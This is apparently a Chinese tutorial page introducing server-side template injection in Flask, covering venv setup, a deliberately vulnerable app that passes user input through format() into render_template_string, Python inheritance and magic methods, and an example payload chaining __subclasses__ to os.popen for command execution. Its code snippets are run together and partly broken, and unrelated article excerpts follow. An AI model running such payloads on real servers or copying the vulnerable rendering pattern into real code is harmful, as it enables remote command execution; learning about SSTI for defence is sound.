当前位置: 首页 > news >正文

ssti 前置学习

python venv环境

可以把它想象成一个容器,该容器供你用来存放你的Python脚本以及安装各种Python第三方模块,容器里的环境和本机是完全分开的

创建venv环境安装flask

#apt install python3.10-venv

#cd /opt

#python3 -m venv flask1

#cd /opt   选择路径
#python3 -m venv flask1   创建名为flask1的venv环境
#Is
#cd falsk1  多一个文件夹flask1
#ls   包含所有python组件

#vim demo.py 

#vim demo.py
print("this is test")    在/opt下创建demo.py
#python3 demo.py   直接使用python是系统的组件
执行flask1路径下的python
 

方法一

#/opt/flask1/bin/python3 demo.py绝对路径
方法二

#cd flask1    进入flask1虚拟环境
#source ./bin/activate
##python3 demo.py
#deactivate     退出虚拟环境

安装flask

pip3 install flask --root-user-action=ignore mediapipe -i https://pypi.tuna.tsinghua.edu.cn/simple some-package 

#python3
>>>import flask
>>>quit()

python flask

Flask是一个使用 Python 编写的轻量级 Web 应用框架
其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。

Flask的特点: 良好的文档、丰富的插件、包含开发服务器和调试器 (debugger) 、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。
Python可直接用flask启动一个web服务页面。

进入虚拟环境flask1
#/opt
#vim demo.py           在/opt路径下编辑demo.py
from flask import Flask         启动flask模块,创建一个Flask类app = Flask(__name__)        name 是系统变量,指的是本py文件的文件名
@app.route('/')路由def hello():return "hello benben"if __name_=='__main__'app.run()       只能被python直接运行而不能被作为组件或模块被调用。

监听所有物理端口

添加端口为80

ssti漏洞成因


渲染模板时,没有严格控制对用户的输入;
使用了危险的模板,导致用户可以和flask程序进行交互,可能造成任意文件读取和RCE远程控制后台系统

演示

这段代码最大的漏洞,就是通过 format() 方法直接对页面的 {0} 参数进行替换,这将造成当用户对参数 id 按照 flask 框架的语法进行赋值时,模板引擎渲染时将会把用户输入当作 python 代码进行执行(但并不能直接执行 python 代码)

from importlib.resources import contents
import time
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/',methods =['GET'])
def index():str = request.args.get('ben')   //str值通过format0)函数填充到body中间html_str ='''<html><head></head><body>{0}</body>  //0里可以定义任何参数</html>'''.format(str)return render_template_string(html_str)  //return render template string会把内的字符串当成代码指令
if __name__== '__main__': app.debug = Trueapp.run('127.0.0.1','8080')

__name__ 是python的内置属性,是系统全局变量!每一个py文件都有一个属于自己的__name__:

如果py文件作为模块被导入(import),那么__name__就是该py文件的文件名(也称 模块名);

如果py文件直接运行时(Ctrl+Shift+F10),那么__name__默认等于字符串”__main__”;

举个简单的例子:假如你名字是张三,在朋友眼中,你是张三(__name__ == '张三');在你自己眼中,你是你自己(__name__ == '__main__')

 

{{7*7}}可用来检测漏洞 

 

模板分析

 

python继承关系和魔术方法

几种魔术方法

在 python 中,魔术方法是一种两边以双下划线 __ 包裹的特殊方法,利用这些方法,我们可以实现类的寻找,初始化对象的成员,以及最后的利用。

__class__# 查找当前类型的所属对象__base__# 沿着父子类的关系往上走,用来查看类的基类,注意是类的基类,所以格式为变量.__class__.__bases__,同时也能加上数组,比如变量.__class__.__bases__[0]来获得第一个基类。__mro__ # 查找当前类对象的所有继承类,显示类和基类__subclasse__()# 查找父类下的所有子类,格式变量.__class__.__bases__[0].__subclasses__()
这个类也可以加数组来查看指定的索引值,例如变量.__class__.__bases__[0].__subclasses__()[1]__init__ : 构造函数,当类被实例化时可以用它来快捷的初始化一些属性。SSTI 中可以用它获取选定子类的初始化方法。__globals__ #函数会议字典的形式返回当前对象的全部全局变量。当其在 __init__ 后使用时,即获取初始化方法的全局变量字典。这些变量可能是模块、方法、变量。__builtins__ #提供对Python的所有"内置"标识符的直接访问eval()计算字符串表达式的值popen()执行一个 shell 以运行命令来开启一个进程

通过以上魔术方法,再配合一些系统命令,就可以构造出基本的 payload 了

举个栗子

name={{''.__class__.__mro__[-1].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}

payload 前的 '' 表示一个空字符串,类似的,还可以使用:"" 字符串 () 元组 [] 列表 {} 字典。它们都是数据类型的实例对象。

继承关系

在 python 中,类之间是会有继承关系的,也就是派生类(子类)与基类(父类)的关系,这可以理解为父子关系。在这个父子关系中的最高级,就是 object 。也就是说,object 是祖宗类。
一般来说,SSTI 构造 payload 的思想,就是要通过各个数据类型 Numbers(数字)String(字符串)List(列表)Tuple(元组)Dictionary(字典) 这些子类,一直往上找到 object ,然后再通过找 object 类可以利用的子类。可以利用的子类,就是这个子类的方法(popen() eval()等方法)或属性可以利用。

子类调用父类下的其他子类
Python flask脚本没有办法直接执行python指令

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()
print(c.__class__)

当前类C 

 

当前类C的父类B

print(c.__class__.__base__)

 

父类的父类 

print(c.__class__.__base__.__base__)

 

层层递进 

print(c.__class__.__base__.__base__.__base__)

 

 

罗列所有父类关系
C-B-A-object

print(c.__class__.__mro__)

 B下的所有子类(数组形式)

print(c.__class__.__base__.__subclasses__())

 

调用子类D 

print(c.__class__.__base__.__subclasses__()[1])

 

相关文章:

ssti 前置学习

python venv环境 可以把它想象成一个容器&#xff0c;该容器供你用来存放你的Python脚本以及安装各种Python第三方模块&#xff0c;容器里的环境和本机是完全分开的 创建venv环境安装flask #apt install python3.10-venv #cd /opt #python3 -m venv flask1 #cd /opt 选…...

uni-app:服务器端数据绘制echarts图标(renderjs解决手机端无法显示问题)

效果 代码 <template><view click"echarts.onClick" :prop"option" :change:prop"echarts.updateEcharts" id"echarts" class"echarts"></view> </template><script>export default {data()…...

Python集合魔法:解锁数据去重技巧

更多资料获取 &#x1f4da; 个人网站&#xff1a;涛哥聊Python 在Python编程的魔法世界中&#xff0c;有一种数据类型几乎被忽视&#xff0c;但却拥有强大的超能力&#xff0c;那就是集合&#xff08;Set&#xff09;。 集合是一种无序、唯一的数据类型&#xff0c;它以其独…...

flutter开发实战-inappwebview实现flutter与Javascript的交互JSBridge

flutter开发实战-inappwebview实现flutter与Javascript的交互JSBridge 在使用webview中&#xff0c;需要实现flutter与Javascript交互&#xff0c;在使用webview_flutter插件的时候&#xff0c;整理了一下webview与Javascript的交互JSBridge&#xff0c;具体可以查看 https:/…...

私有云盘:lamp部署nextcloud+高可用集群

目录 一、实验准备&#xff1a; 二、配置mariadb主从复制 三台主机下载mariadb 1&#xff09;主的操作 2&#xff09;从的操作 3&#xff09;测试数据是否同步 三、配置nfs让web服务挂载 1、安装 2、配置nfs服务器 3、配置web服务的httpd 4、测试 四、web 服务器 配…...

在线制作课程表

失业在家&#xff0c;开启一天一个应用的创作节奏&#xff0c;最近学了uniapp&#xff0c;特别想做点啥&#xff0c;正好家里小孩子要打印课程表&#xff0c;而且课程表还有调课的需求&#xff0c;就寻思做一个方便大家&#xff0c;到目前位置服务完全免费的&#xff0c;新鲜上…...

聊聊分布式架构06——[NIO入门]简单的Netty NIO示例

目录 Java NIO和Netty NIO比较 Java NIO&#xff1a; Netty&#xff1a; Netty NIO中的主要模块 Transport&#xff08;传输层&#xff09; Buffer&#xff08;缓冲区&#xff09; Codec&#xff08;编解码器&#xff09; Handler&#xff08;处理器&#xff09; Even…...

H5逆向之远程RPC

引言前一讲说过H5 怎么去抓包,逆向分析。其中说到RPC。这一节详细讲一下。有一种情况,JS 比较复杂,混淆的厉害。 这个时候就用到RPC。原理就是,hook web 浏览器,直接调用js 里边的方法。 Node 服务。为什么用到Node 服务,先来看下这架构 Node 对外提供各种接口,外部可以…...

解决Ubuntu18.04安装好搜狗输入法后无法打出中文的问题

首先下载安装 搜狗拼音输入法 &#xff0c;下载选择&#xff1a; x86_64 在ubuntu中设置 fcitx 最后发现安装好了&#xff0c;图标有了 &#xff0c;但是使用时不能输入中文&#xff0c;使用下面的命令解决&#xff1a; sudo apt install libqt5qml5 libqt5quick5 libqt5qu…...

Ubuntu LabelMe AI 识别

1.创建虚拟环境 conda create -n labelme python3.9 2.激活虚拟环境 conda activate labelme 3.安装labelme pip install pyqt5 -i https://pypi.tuna.tsinghua.edu.cn/simple pip install pillow -i https://pypi.tuna.tsinghua.edu.cn/simple pip install labelme -i ht…...

基于FPGA的图像缩小算法实现,包括tb测试文件和MATLAB辅助验证

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 将FPGA的处理结果导出到matlab中显示图像效果&#xff1a; 2.算法运行软件版本 vivado2019.2 matlab2022a 3.部分核心程序 timescale 1ns / 1p…...

黑马店评-04缓存更新策略,保证MySQL数据库中的数据和Redis中缓存的数据一致性

缓存更新策略(数据一致) 更新策略 缓存更新是Redis为了节约内存而设计出来的机制,当我们向Redis插入太多数据时就会导致缓存中的数据过多,所以Redis会对部分数据进行更新即淘汰 低一致性需求(数据长久不发生变化): 使用内存淘汰机制,例如店铺类型信息的查询缓存,因为这部分…...

matlab相机标定实验

实验原理 1. 相机标定坐标系 相机的参数对目标的识别、定位精度有很大的影响&#xff0c;相机标定就是为了求出相机的内外参数。标定中有3个不同层次的坐标系&#xff1a;世界坐标系、相机坐标系和图像坐标系&#xff08;图像物理坐标系和图像像素坐标系&#xff09;。世界坐…...

【每日一题Day343】LC2731移动机器人 | 脑筋急转弯+数学

移动机器人【LC2731】 有一些机器人分布在一条无限长的数轴上&#xff0c;他们初始坐标用一个下标从 0 开始的整数数组 nums 表示。当你给机器人下达命令时&#xff0c;它们以每秒钟一单位的速度开始移动。 给你一个字符串 s &#xff0c;每个字符按顺序分别表示每个机器人移动…...

疯狂java 1.7垃圾回收机制

内存泄漏&#xff1a;如果一些分配出去的内存得不到及时回收&#xff0c;就会引起系统运行速度下降&#xff0c;甚至导致程序瘫痪 Java程序的内存分配和回收都是由JRE在后台自动进行的。JRE会负责回收哪些不再使用的内存&#xff0c;这种机制被称为垃圾回收&#xff08;Garbag…...

day01_基础

零、今日内容 1 jdk 2 idea使用 3 HelloWorld程序 4 变量 5 数据类型 6 String 一、JDK安装 JDK java开发工具包,敲代码的环境 1.1 卸载 控制面板 -> 卸载程序 -> 选择jdk,右键卸载 1.2 安装 注意: 现在安装的是JDK8版本,虽然最新的版本是21版本,但是工作市场中最流行的…...

RabbitMQ开启消息发送确认和消费手动确认

开启RabbitMQ的生产者发送消息到RabbitMQ服务端的接收确认&#xff08;ACK&#xff09;和消费者通过手动确认或者丢弃消费的消息。 通过配置 publisher-confirm-type: correlated 和publisher-returns: true开启生产者确认消息。 server:port: 8014spring:rabbitmq:username: …...

嵌入式系统开发【深入浅出】 GPIO 类设备的驱动程序

目录 GPIO管脚的输出功能相当于控制、输入相当于检测 使用GPIO基本流程 对于某一个管脚来说最多有几种功能&#xff1f; 拓展 【定时器与系统定时器】 决定定时长短的因素: 普通定时器 系统定时器 STM32F103RBT6的时钟源有哪五种 sysclk 的时钟频率由哪个时钟源提供基…...

项目管理必备的22个公式

大家好&#xff0c;我是老原。 趁着国庆时间比较空闲&#xff0c;给你们整理了一些项目管理必备的计算公式&#xff0c;一共22个。 每一个公式都给你们标注了适用情况和使用方法&#xff0c;为了方便你们理解&#xff0c;也加了一些例子&#xff0c;保准你看了就会。 觉得不…...

ccache加速编译速度

ccache https://gitee.com/lixiaoxmm/ccache.git 依赖hiredis、zstd(zstd的cmakelists.txt在build/cmake目录下) 下载mingw,https://www.mingw-w64.org/downloads/#w64devkit hiredis、zstd使用mingw编译 cmake -G “MinGW Makefiles” cmakecache.txt手动修改去掉网络下载,…...

DIY蓝牙街机摇杆:从零打造无线复古游戏控制器

1. 项目概述与核心思路作为一个玩了二十多年街机&#xff0c;也折腾了十几年硬件的“老炮儿”&#xff0c;我始终觉得&#xff0c;有些东西的味道是数字模拟不出来的。比如&#xff0c;用键盘或现代手柄玩《拳皇97》或《合金弹头》&#xff0c;总觉得少了点灵魂——那“咔哒咔哒…...

别再只盯着CVE-2017-7529复现了,聊聊Nginx缓存机制下的那些‘信息泄露’风险

深入解析Nginx缓存机制与敏感信息防护实践 Nginx作为现代Web架构的核心组件&#xff0c;其高效的缓存机制在提升性能的同时也隐藏着不容忽视的安全隐患。当开发者们热衷于讨论CVE-2017-7529这类高危漏洞的复现时&#xff0c;我们更需要将目光投向日常配置中那些容易被忽视的信息…...

485温湿度传感器Modbus通信避坑指南:从波特率匹配到报文解析(以4800波特率为例)

485温湿度传感器Modbus通信实战&#xff1a;从硬件对接到数据解析全流程 工业现场的数据采集往往从一串看似简单的十六进制代码开始。当您第一次将485温湿度传感器接入系统时&#xff0c;可能会遇到这样的场景&#xff1a;硬件连接无误&#xff0c;指示灯正常闪烁&#xff0c;但…...

从LED驱动到继电器控制:深入解析NPN与PNP三极管在电路设计中的选型避坑指南

从LED驱动到继电器控制&#xff1a;深入解析NPN与PNP三极管在电路设计中的选型避坑指南 在电子电路设计中&#xff0c;三极管作为基础却关键的元件&#xff0c;其选型直接影响着电路的可靠性和性能。特别是当我们需要驱动LED、继电器或电机等负载时&#xff0c;NPN与PNP三极管的…...

HART协议实战:从帧结构解析到MCU数据处理的完整代码指南

1. HART协议基础与帧结构解析 第一次接触HART协议时&#xff0c;我被它独特的"模拟信号数字信号"叠加方式惊艳到了。想象一下&#xff0c;在工业现场常见的4-20mA模拟信号线上&#xff0c;还能叠加数字通信信号&#xff0c;就像在一条老式电话线上同时传输语音和宽带…...

Ardb多存储引擎深度解析:RocksDB、LevelDB、LMDB、WiredTiger、PerconaFT、ForestDB全方位对比

Ardb多存储引擎深度解析&#xff1a;RocksDB、LevelDB、LMDB、WiredTiger、PerconaFT、ForestDB全方位对比 【免费下载链接】ardb A redis protocol compatible nosql, it support multiple storage engines as backend like Googles LevelDB, Facebooks RocksDB, OpenLDAPs LM…...

基于RAG的Obsidian智能知识库:本地部署与优化实战

1. 项目概述&#xff1a;当知识管理遇上大语言模型 如果你和我一样&#xff0c;是 Obsidian 的深度用户&#xff0c;同时又对大语言模型&#xff08;LLM&#xff09;的智能涌现能力感到着迷&#xff0c;那么你肯定也想过一个问题&#xff1a;能不能让我的知识库“活”起来&…...

基于LLM的MUD游戏AI智能体框架:从感知-思考-行动循环到工程实践

1. 项目概述&#xff1a;一个面向MUD游戏的智能体框架最近在折腾AI智能体&#xff08;Agent&#xff09;相关的项目&#xff0c;发现了一个挺有意思的仓库&#xff1a;zn0nz/mud_agent。乍一看名字&#xff0c;可能很多朋友会有点懵&#xff0c;MUD是什么&#xff1f;Agent又怎…...

Claude任务大师浏览器扩展:AI自动化工作流与Chrome插件开发实战

1. 项目概述与核心价值最近在折腾AI自动化工作流&#xff0c;发现一个痛点&#xff1a;虽然像Claude这样的AI助手能力很强&#xff0c;但每次想让它帮我处理网页内容&#xff0c;都得手动复制粘贴&#xff0c;效率实在太低。直到我发现了GitHub上一个名为“claude-task-master-…...

线程相关知识

线程是进程内的一条独立执行流&#xff0c;是操作系统调度 CPU 的最小单位&#xff0c;共享进程的地址空间与资源&#xff0c;有自己独立的栈、寄存器、程序计数器。一、核心本质拆解1.从属关系 进程是资源分配最小单位&#xff08;内存、文件、句柄&#xff09;&#xff1b; 线…...